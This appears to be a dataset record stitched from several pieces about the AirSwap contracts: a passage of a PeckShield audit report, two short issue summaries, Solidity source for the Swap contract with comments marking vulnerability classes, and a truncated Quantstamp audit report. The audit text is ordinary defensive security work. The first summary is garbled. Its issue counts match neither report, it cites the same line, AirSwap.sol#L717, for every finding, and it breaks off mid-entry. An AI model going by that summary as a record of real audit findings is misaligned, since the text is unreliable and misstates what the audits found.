details. 10/20 PeckShield Audit Report #: 2022-038Public 3 | Detailed Results 3.1 Proper Allowance Reset For Old Staking Contracts •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: Pool •Category: Coding Practices [6] •CWE subcategory: CWE-1041 [1] Description The AirSwapprotocol has a Poolcontract that supports the main functionality of staking and claims. It also allows the privileged owner to update the active staking contract stakingContract . In the following, we examine this specific setStakingContract() function. It comes to our attention that this function properly sets up the spending allowance to the new stakingContract . However, it forgets to cancel the previous spending allowance from the old stakingContract . 149 /** 150 * @notice Set staking contract address 151 * @dev Only owner 152 * @param _stakingContract address 153 */ 154 function setStakingContract ( address _stakingContract ) 155 external 156 override 157 onlyOwner 158 { 159 require ( _stakingContract != address (0) , " INVALID_ADDRESS "); 160 stakingContract = _stakingContract ; 161 IERC20 ( stakingToken ). approve ( stakingContract , 2**256 - 1); 162 } Listing 3.1: Pool::setStakingContract() 11/20 PeckShield Audit Report #: 2022-038Public Recommendation Remove the spending allowance from the old stakingContract when it is updated. Status This issue has been fixed in the following PR: 776. 3.2 Removal of Unused State/Code •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description AirSwap makes good use of a number of reference contracts, such as ERC20,SafeERC20 , and SafeMath, to facilitate its code implementation and organization. For example, the Poolsmart contract has so far imported at least four reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Stakingcontract, there are a number of states that have beendefined. However,someofthemareneverused. Examplesinclude usedIdsand unlockTimestamps . These unused states can be safely removed. 37 // Mapping of account to delegate 38 mapping (address = >address )public a c c o u n t D e l e g a t e s ; 39 40 // Mapping of delegate to account 41 mapping (address = >address )public d e l e g a t e A c c o u n t s ; 42 43 // Mapping of timelock ids to used state 44 mapping (bytes32 = >bool )private u s e d I d s ; 45 46 // Mapping of ids to timestamps 47 mapping (bytes32 = >uint256 )private unlockTimestamps ; 48 49 // ERC -20 token properties 50 s t r i n g public name ; 51 s t r i n g public symbol ; Listing 3.2: The StakingContract Moreover, the Wrappercontract has a function sellNFT() , which is marked as payable, but its internal logic has explicitly restricted the following require(msg.value == 0) . As a result, both payable and the restriction can be removed together. 12/20 PeckShield Audit Report #: 2022-038Public 162 function sellNFT ( 163 uint256 nonce , 164 uint256 expiry , 165 address signerWallet , 166 address signerToken , 167 uint256 signerAmount , 168 address senderToken , 169 uint256 senderID , 170 uint8 v, 171 bytes32 r, 172 bytes32 s 173 ) public payable { 174 require ( msg . value == 0, " VALUE_MUST_BE_ZERO "); 175 IERC721 ( senderToken ). setApprovalForAll ( address ( swapContract ), true ); 176 IERC721 ( senderToken ). transferFrom ( msg. sender , address ( this ), senderID ); 177 swapContract . sellNFT ( 178 nonce , 179 expiry , 180 signerWallet , 181 signerToken , 182 signerAmount , 183 senderToken , 184 senderID , 185 v, 186 r, 187 s 188 ); 189 _unwrapEther ( signerToken , signerAmount ); 190 emit WrappedSwapFor ( msg . sender ); 191 } Listing 3.3: Wrapper::sellNFT() Recommendation Consider the removal of the redundant code with a simplified, consistent implementation. Status The issue has been fixed with the following PRs: 777, 778, and 779. 13/20 PeckShield Audit Report #: 2022-038Public 3.3 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Business Logic [7] •CWE subcategory: CWE-841 [4] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.4: USDT Token Contract Because of that, a normal call to approve() is suggested to use the safe version, i.e., safeApprove() , In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transfer() as well, i.e., safeTransfer() . 14/20 PeckShield Audit Report #: 2022-038Public 38 /** 39 * @dev Deprecated . This function has issues similar to the ones found in 40 * {IERC20 - approve }, and its usage is discouraged . 41 * 42 * Whenever possible , use { safeIncreaseAllowance } and 43 * { safeDecreaseAllowance } instead . 44 */ 45 function safeApprove ( 46 IERC20 token , 47 address spender , 48 uint256 value 49 ) internal { 50 // safeApprove should only be called when setting an initial allowance , 51 // or when resetting it to zero . To increase and decrease it , use 52 // ’ safeIncreaseAllowance ’ and ’ safeDecreaseAllowance ’ 53 require ( 54 ( value == 0) ( token . allowance ( address ( this ), spender ) == 0) , 55 " SafeERC20 : approve from non - zero to non - zero allowance " 56 ); 57 _callOptionalReturn (token , abi . encodeWithSelector ( token . approve . selector , spender , value )); 58 } Listing 3.5: SafeERC20::safeApprove() In the following, we show the unstake() routine from the Stakingcontract. If the USDTtoken is supported as token, the unsafe version of token.transfer(account, amount) (line 178) may revert as there is no return value in the USDTtoken contract’s transfer()/transferFrom() implementation (but the IERC20interface expects a return value)! 168 /** 169 * @notice Unstake tokens 170 * @param amount uint256 171 */ 172 function unstake ( uint256 amount ) external override { 173 address account ; 174 delegateAccounts [ msg . sender ] != address (0) 175 ? account = delegateAccounts [ msg . sender ] 176 : account = msg . sender ; 177 _unstake ( account , amount ); 178 token . transfer ( account , amount ); 179 emit Transfer ( account , address (0) , amount ); 180 } Listing 3.6: Staking::unstake() Note this issue is also applicable to other routines in Swapand Poolcontracts. For the safeApprove ()support, there is a need to approve twice: the first time resets the allowance to zero and the second time approves the intended amount. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related 15/20 PeckShield Audit Report #: 2022-038Public approve()/transfer()/transferFrom() . Status This issue has been fixed in the following PRs: 781and 782. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the AirSwapprotocol, there is a privileged owneraccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and payee adjustment). It also has the privilege to regulate or govern the flow of assets within the protocol. With great privilege comes great responsibility. Our analysis shows that the owneraccount is indeed privileged. In the following, we show representative privileged operations in the Poolprotocol. 164 /** 165 * @notice Set staking token address 166 * @dev Only owner 167 * @param _stakingToken address 168 */ 169 function setStakingToken ( address _stakingToken ) external o v e r r i d e onlyOwner { 170 require ( _stakingToken != address (0) , " INVALID_ADDRESS " ) ; 171 stakingToken = _stakingToken ; 172 IERC20 ( stakingToken ) . approve ( s t a k i n g C o n t r a c t , 2 ∗∗256 −1) ; 173 } 175 /** 176 * @notice Admin function to migrate funds 177 * @dev Only owner 178 * @param tokens address [] 179 * @param dest address 180 */ 181 function drainTo ( address [ ] c a l l d a t a tokens , address d e s t ) 182 external 183 o v e r r i d e 184 onlyOwner 185 { 186 for (uint256 i = 0 ; i < tokens . length ; i ++) { 187 uint256 b a l = IERC20 ( tokens [ i ] ) . balanceOf ( address (t h i s ) ) ; 188 IERC20 ( tokens [ i ] ) . s a f e T r a n s f e r ( dest , b a l ) ; 189 } 190 emit DrainTo ( tokens , d e s t ) ; 16/20 PeckShield Audit Report #: 2022-038Public 191 } Listing 3.7: Various Privileged Operations in Pool We emphasize that the privilege assignment with various protocol contracts is necessary and required for proper protocol operations. However, it is worrisome if the owneris not governed by a DAO-like structure. We point out that a compromised owneraccount would allow the attacker to invoke the above drainToto steal funds in current protocol, which directly undermines the assumption of the AirSwap protocol. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed and partially mitigated with a multi-sig account to regulate the governance privileges. The multi-sig account is a standard Gnosis Safe wallet, which is controlled by multiple participants, who agree to propose and submit transactions as they relate to the DAO’s proposal submission and voting mechanism. This avoids risk of any single compromised EOA as it would require collusion of multiple participants. 17/20 PeckShield Audit Report #: 2022-038Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the AirSwapprotocol, which curates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 18/20 PeckShield Audit Report #: 2022-038Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 19/20 PeckShield Audit Report #: 2022-038Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 20/20 PeckShield Audit Report #: 2022-038
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 2.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Moderate 3.a Problem (one line with code reference) - Unchecked return values (AirSwap.sol#L717) 3.b Fix (one line with code reference) - Add checks to return values (AirSwap.sol#L717) Major 4.a Problem (one line with code reference) - Unchecked user input (AirSwap.sol#L717) 4.b Fix (one line with code reference) - Add checks to user input (AirSwap.sol#L717) Critical 5.a Problem (one line with code reference) - Unchecked user input ( Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public lastCompletedMigration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { lastCompletedMigration = completed; } function upgrade(address newAddress) public restricted { Migrations upgraded = Migrations(newAddress); upgraded.setCompleted(lastCompletedMigration); } } pragma solidity 0.5.12; import "@airswap/tokens/contracts/FungibleToken.sol"; import "@airswap/tokens/contracts/NonFungibleToken.sol"; import "@airswap/tokens/contracts/OMGToken.sol"; import "@gnosis.pm/mock-contract/contracts/MockContract.sol"; contract Imports {} /* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; pragma experimental ABIEncoderV2; import "@airswap/swap/contracts/interfaces/ISwap.sol"; import "@airswap/tokens/contracts/interfaces/INRERC20.sol"; import "openzeppelin-solidity/contracts/token/ERC721/IERC721.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; /** * @title Swap: The Atomic Swap used by the Swap Protocol */ contract Swap is ISwap { using SafeMath for uint256; // Domain and version for use in signatures (EIP-712) bytes constant internal DOMAIN_NAME = "SWAP"; bytes constant internal DOMAIN_VERSION = "2"; // Unique domain identifier for use in signatures (EIP-712) bytes32 private _domainSeparator; // Possible nonce statuses byte constant internal AVAILABLE = 0x00; byte constant internal UNAVAILABLE = 0x01; // ERC-721 (non-fungible token) interface identifier (EIP-165) bytes4 constant internal ERC721_INTERFACE_ID = 0x80ac58cd; // Mapping of sender address to a delegated sender address and bool mapping (address => mapping (address => bool)) public senderAuthorizations; // Mapping of signer address to a delegated signer and bool mapping (address => mapping (address => bool)) public signerAuthorizations; // Mapping of signers to nonces with value AVAILABLE (0x00) or UNAVAILABLE (0x01) mapping (address => mapping (uint256 => byte)) public signerNonceStatus; // Mapping of signer addresses to an optionally set minimum valid nonce mapping (address => uint256) public signerMinimumNonce; /** * @notice Contract Constructor * @dev Sets domain for signature validation (EIP-712) */ constructor() public { _domainSeparator = Types.hashDomain( DOMAIN_NAME, DOMAIN_VERSION, address(this) ); } /** * @notice Atomic Token Swap * @param order Types.Order Order to settle */ // SWC-Unchecked Call Return Value: L74 - L170 function swap( Types.Order calldata order ) external { // Ensure the order is not expired. require(order.expiry > block.timestamp, "ORDER_EXPIRED"); // Ensure the nonce is AVAILABLE (0x00). require(signerNonceStatus[order.signer.wallet][order.nonce] == AVAILABLE, "ORDER_TAKEN_OR_CANCELLED"); // Ensure the order nonce is above the minimum. require(order.nonce >= signerMinimumNonce[order.signer.wallet], "NONCE_TOO_LOW"); // Mark the nonce UNAVAILABLE (0x01). signerNonceStatus[order.signer.wallet][order.nonce] = UNAVAILABLE; // Validate the sender side of the trade. address finalSenderWallet; if (order.sender.wallet == address(0)) { /** * Sender is not specified. The msg.sender of the transaction becomes * the sender of the order. */ finalSenderWallet = msg.sender; } else { /** * Sender is specified. If the msg.sender is not the specified sender, * this determines whether the msg.sender is an authorized sender. */ require(isSenderAuthorized(order.sender.wallet, msg.sender), "SENDER_UNAUTHORIZED"); // The msg.sender is authorized. finalSenderWallet = order.sender.wallet; } // Validate the signer side of the trade. if (order.signature.v == 0) { /** * Signature is not provided. The signer may have authorized the * msg.sender to swap on its behalf, which does not require a signature. */ require(isSignerAuthorized(order.signer.wallet, msg.sender), "SIGNER_UNAUTHORIZED"); } else { /** * The signature is provided. Determine whether the signer is * authorized and if so validate the signature itself. */ require(isSignerAuthorized(order.signer.wallet, order.signature.signatory), "SIGNER_UNAUTHORIZED"); // Ensure the signature is valid. require(isValid(order, _domainSeparator), "SIGNATURE_INVALID"); } // Transfer token from sender to signer. transferToken( finalSenderWallet, order.signer.wallet, order.sender.param, order.sender.token, order.sender.kind ); // Transfer token from signer to sender. transferToken( order.signer.wallet, finalSenderWallet, order.signer.param, order.signer.token, order.signer.kind ); // Transfer token from signer to affiliate if specified. if (order.affiliate.wallet != address(0)) { transferToken( order.signer.wallet, order.affiliate.wallet, order.affiliate.param, order.affiliate.token, order.affiliate.kind ); } emit Swap(order.nonce, block.timestamp, order.signer.wallet, order.signer.param, order.signer.token, finalSenderWallet, order.sender.param, order.sender.token, order.affiliate.wallet, order.affiliate.param, order.affiliate.token ); } /** * @notice Cancel one or more open orders by nonce * @dev Cancelled nonces are marked UNAVAILABLE (0x01) * @dev Emits a Cancel event * @param nonces uint256[] List of nonces to cancel */ // SWC-DoS with Failed Call: L178 - L187 function cancel( uint256[] calldata nonces ) external { for (uint256 i = 0; i < nonces.length; i++) { if (signerNonceStatus[msg.sender][nonces[i]] == AVAILABLE) { signerNonceStatus[msg.sender][nonces[i]] = UNAVAILABLE; emit Cancel(nonces[i], msg.sender); } } } /** * @notice Invalidate all orders below a nonce value * @dev Emits an Invalidate event * @param minimumNonce uint256 Minimum valid nonce */ function invalidate( uint256 minimumNonce ) external { signerMinimumNonce[msg.sender] = minimumNonce; emit Invalidate(minimumNonce, msg.sender); } /** * @notice Authorize a delegated sender * @dev Emits an AuthorizeSender event * @param authorizedSender address Address to authorize */ function authorizeSender( address authorizedSender ) external { require(msg.sender != authorizedSender, "INVALID_AUTH_SENDER"); senderAuthorizations[msg.sender][authorizedSender] = true; emit AuthorizeSender(msg.sender, authorizedSender); } /** * @notice Authorize a delegated signer * @dev Emits an AuthorizeSigner event * @param authorizedSigner address Address to authorize */ function authorizeSigner( address authorizedSigner ) external { require(msg.sender != authorizedSigner, "INVALID_AUTH_SIGNER"); signerAuthorizations[msg.sender][authorizedSigner] = true; emit AuthorizeSigner(msg.sender, authorizedSigner); } /** * @notice Revoke an authorized sender * @dev Emits a RevokeSender event * @param authorizedSender address Address to revoke */ function revokeSender( address authorizedSender ) external { delete senderAuthorizations[msg.sender][authorizedSender]; emit RevokeSender(msg.sender, authorizedSender); } /** * @notice Revoke an authorized signer * @dev Emits a RevokeSigner event * @param authorizedSigner address Address to revoke */ function revokeSigner( address authorizedSigner ) external { delete signerAuthorizations[msg.sender][authorizedSigner]; emit RevokeSigner(msg.sender, authorizedSigner); } /** * @notice Determine whether a sender delegate is authorized * @param authorizer address Address doing the authorization * @param delegate address Address being authorized * @return bool True if a delegate is authorized to send */ function isSenderAuthorized( address authorizer, address delegate ) internal view returns (bool) { return ((authorizer == delegate) || senderAuthorizations[authorizer][delegate]); } /** * @notice Determine whether a signer delegate is authorized * @param authorizer address Address doing the authorization * @param delegate address Address being authorized * @return bool True if a delegate is authorized to sign */ function isSignerAuthorized( address authorizer, address delegate ) internal view returns (bool) { return ((authorizer == delegate) || signerAuthorizations[authorizer][delegate]); } /** * @notice Validate signature using an EIP-712 typed data hash * @param order Types.Order Order to validate * @param domainSeparator bytes32 Domain identifier used in signatures (EIP-712) * @return bool True if order has a valid signature */ function isValid( Types.Order memory order, bytes32 domainSeparator ) internal pure returns (bool) { if (order.signature.version == byte(0x01)) { return order.signature.signatory == ecrecover( Types.hashOrder( order, domainSeparator ), order.signature.v, order.signature.r, order.signature.s ); } if (order.signature.version == byte(0x45)) { return order.signature.signatory == ecrecover( keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", Types.hashOrder(order, domainSeparator) ) ), order.signature.v, order.signature.r, order.signature.s ); } return false; } /** * @notice Perform an ERC-20 or ERC-721 token transfer * @dev Transfer type specified by the bytes4 kind param * @dev ERC721: uses transferFrom for transfer * @dev ERC20: Takes into account non-standard ERC-20 tokens. * @param from address Wallet address to transfer from * @param to address Wallet address to transfer to * @param param uint256 Amount for ERC-20 or token ID for ERC-721 * @param token address Contract address of token * @param kind bytes4 EIP-165 interface ID of the token */ function transferToken( address from, address to, uint256 param, address token, bytes4 kind ) internal { // Ensure the transfer is not to self. require(from != to, "INVALID_SELF_TRANSFER"); if (kind == ERC721_INTERFACE_ID) { // Attempt to transfer an ERC-721 token. IERC721(token).transferFrom(from, to, param); } else { uint256 initialBalance = INRERC20(token).balanceOf(from); // Attempt to transfer an ERC-20 token. INRERC20(token).transferFrom(from, to, param); // Ensure the amount has been transferred. require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); } } }
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra 